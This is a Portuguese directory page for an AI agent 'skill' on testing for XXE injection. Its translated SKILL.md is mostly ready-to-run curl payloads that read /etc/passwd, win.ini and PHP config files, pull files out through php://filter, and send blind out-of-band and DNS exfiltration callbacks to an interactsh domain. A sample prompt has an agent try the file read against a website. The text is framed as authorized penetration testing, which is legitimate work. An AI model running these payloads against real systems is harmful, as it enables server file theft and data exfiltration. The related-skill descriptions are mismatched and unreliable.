testing-for-xxe-injection-vulnerabilities
Faz seu agente descobrir falhas de injeção XML que podem ler arquivos do servidor. Ele pode ser usado para acessar informações restritas ou controlar o servidor. Importante para testes de segurança.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'XXE Injection' em sistemas que processam arquivos XML. Ela permite ler arquivos do servidor, acessar recursos internos e roubar informações.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo que aceita arquivos XML.
- ✓Quando você suspeita que o sistema pode ser vulnerável a ataques que exploram como ele lê dados XML.
- ✓Durante testes de segurança autorizados para verificar a proteção contra injeção de entidades externas.
Exemplo do que pedir para a IA
“Verifique se o site `exemplo.com` é vulnerável a XXE Injection e tente ler o arquivo `/etc/passwd`.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia dados XML especialmente criados para o sistema. Se o sistema for vulnerável, ele pode responder com informações de arquivos internos ou tentar se conectar a um servidor controlado pelo atacante.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xxe-injection-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Vulnerabilidades de Injeção XXE
Quando Usar
- Durante testes de penetração autorizados quando a aplicação processa entrada XML (APIs SOAP, uploads de arquivos, feeds RSS)
- Ao testar APIs que aceitam
Content-Type: application/xmloutext/xml - Para avaliar parsers XML em funcionalidades de upload de arquivos (DOCX, XLSX, SVG, PDF)
- Ao avaliar serviços web baseados em SOAP para injeção de entidades
- Durante avaliações de segurança de aplicações corporativas que usam configuração XML
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração para o alvo
- Burp Suite Professional: Para interceptar e modificar requisições XML
- XXEinjector: Ferramenta automatizada de exploração de XXE (
git clone https://github.com/enjoiz/XXEinjector.git) - Servidor out-of-band: Burp Collaborator ou interactsh para detecção de XXE cega
- curl: Para criação e envio manual de payloads
- Python: Para construir um servidor de hospedagem DTD
Fluxo de Trabalho
Passo 1: Identificar Pontos de Processamento XML
Encontre todos os endpoints da aplicação que aceitam ou processam dados XML.
# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml
# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
# Try converting to XML:
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side
# Check for SOAP endpoints
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"
Passo 2: Testar XXE Básico com Recuperação de Arquivos
Injete entidades XML para ler arquivos locais do servidor.
# Basic XXE payload to read /etc/passwd
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Windows file read
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Read application configuration files
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
Passo 3: Testar XXE Cego com Detecção Out-of-Band
Quando o valor da entidade não é refletido na resposta, use técnicas out-of-band.
# XXE Cego com callback HTTP (use Burp Collaborator ou interactsh)
# Inicie o interactsh: interactsh-client
# Use o domínio gerado: abc123.oast.fun
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Verifique o interactsh/Collaborator por requisições DNS ou HTTP recebidas
# XXE Cego com exfiltração de DNS
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# XXE Cego via entidades de parâmetro (quando entidades regulares são bloqueadas)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
…
Perguntas frequentes
O que é XXE Injection?
É um tipo de ataque de segurança onde um invasor explora a forma como um programa processa dados XML, fazendo com que ele leia arquivos sensíveis ou acesse recursos não autorizados.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização escrita antes de realizar qualquer teste de segurança em um sistema.
Quais ferramentas são necessárias?
Você precisará de ferramentas como Burp Suite Professional, XXEinjector, um servidor para receber dados externos (como Burp Collaborator) e ferramentas básicas de linha de comando como `curl` e `Python`.
Detalhes
Descrição original do autor
Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6230
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC